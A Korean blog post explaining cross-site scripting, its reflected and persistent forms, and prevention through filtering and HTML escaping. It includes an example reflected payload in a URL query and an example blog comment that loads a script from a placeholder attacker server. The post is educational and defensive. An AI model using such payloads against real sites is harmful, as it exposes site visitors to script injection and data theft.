XSS (cross-site-script)이란? - Javascript

2022. 5. 15. 23:13프론트엔드/HTML, CSS, Javascript

728x90
 

사이트 간 스크립팅 - 위키백과, 우리 모두의 백과사전

사이트 간 스크립팅(또는 크로스 사이트 스크립팅, 영문 명칭 cross-site scripting, 영문 약어 XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에

ko.wikipedia.org

 

웹 어플리케이션에서 많이 나타나는 취약점의 하나로,
외부인이 악성 스크립트를 삽입할 수 있는 취약점이다.

주로 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다.
(전에 워드프레스가 알 수 없는 이유로 다른 목적으로 사용되었던 기억이 있다.)


공격 유형


비 지속적 (Non-persistent) 기법

반사 (Reflected) XSS라고도 불리며,
가장 일반적인 방법이라고 한다.

방식을 보면 왜 반사라고 하는지 알 수 있다.

주입된 악성 스크립트가 사용자에게 돌아오게 되면,
답변에 담긴 스크립트가 실행되며
다른 사이트로 이동하는 식이다.

그 스크립트를 보낸 사람이 정상적인 사이트이기 때문에,
브라우저에서는 그대로 실행하게 된다.

아래의 예시를 보자.

- 피해자는 아래의 링크를 누른다.
  www.a.com/?term=<script>alert('something')</script>
- 쿼리문에 삽입된 스크립트가 유저에게 다시 전달된다
- 브라우저에서는 문자열을 스크립트로 파악하고 실행하게 된다.

물론 사용자의 요청을 반환하는 경우에만 포함된다.

이 경우에는 사용자가 보낸 값을 잘 검사하면 예방이 가능하다.


지속적 (Persistent) XSS

이 경우에는 웹서버에 스크립트를 주입하는 경우다.
웹서버에서는 정해진대로 응답을 하기 때문에,
악성 스크립트가 있는 페이지를 그대로 유저들에게 응답하게 된다.

뭔가 조작된 댓글을 다는 것으로 보통 공격을 하게 된다.

이것도 예시를 보자

- 공격자는 블로그에 이런 커맨트를 단다.
  "Great article, keep it up Joe !<script src="http://<theattackersbadserveraddress>.com/badscript.js" ></script>"
- 피해자 (그냥 블로그에 방문한 사람)는 공격자의 댓글이 포함된 페이지에 접속하게 된다.
- 피해자의 브라우저는 공격자의 댓글을 HTML 태그라고 해석하게 된다.
- 위의 링크대로 badscript.js를 실행하게 된다.

해결 방안 (예방법)

예방법에는 크게 필터링이스케이핑이 있다.


필터링 (Filtering)

단순하게 생각하면, 포스팅이나 댓글을 필터링 하기만 하면 된다.
<script> 태그 같은 것만 걸러도 실행을 막을 수 있다.


이스케이핑 (Escaping)

HTML에서의 이스케이프에 대해서는 다음의 링크를 보자

 

문자 이스케이프란? - HTML

What do HTML is escaping means? This may be a bad question but I searched but didn't find anything. HTML is escaping = HTML is showing as it is? Example: If i try to put any html tag here, it will n..

goldfishdiary.tistory.com

한마디로 <, >과 같은 스크립트 실행에 필요한 태그들을
&lt; &gt;로 교체해 버리면 그냥 문자열이 되어버린다는 뜻이다.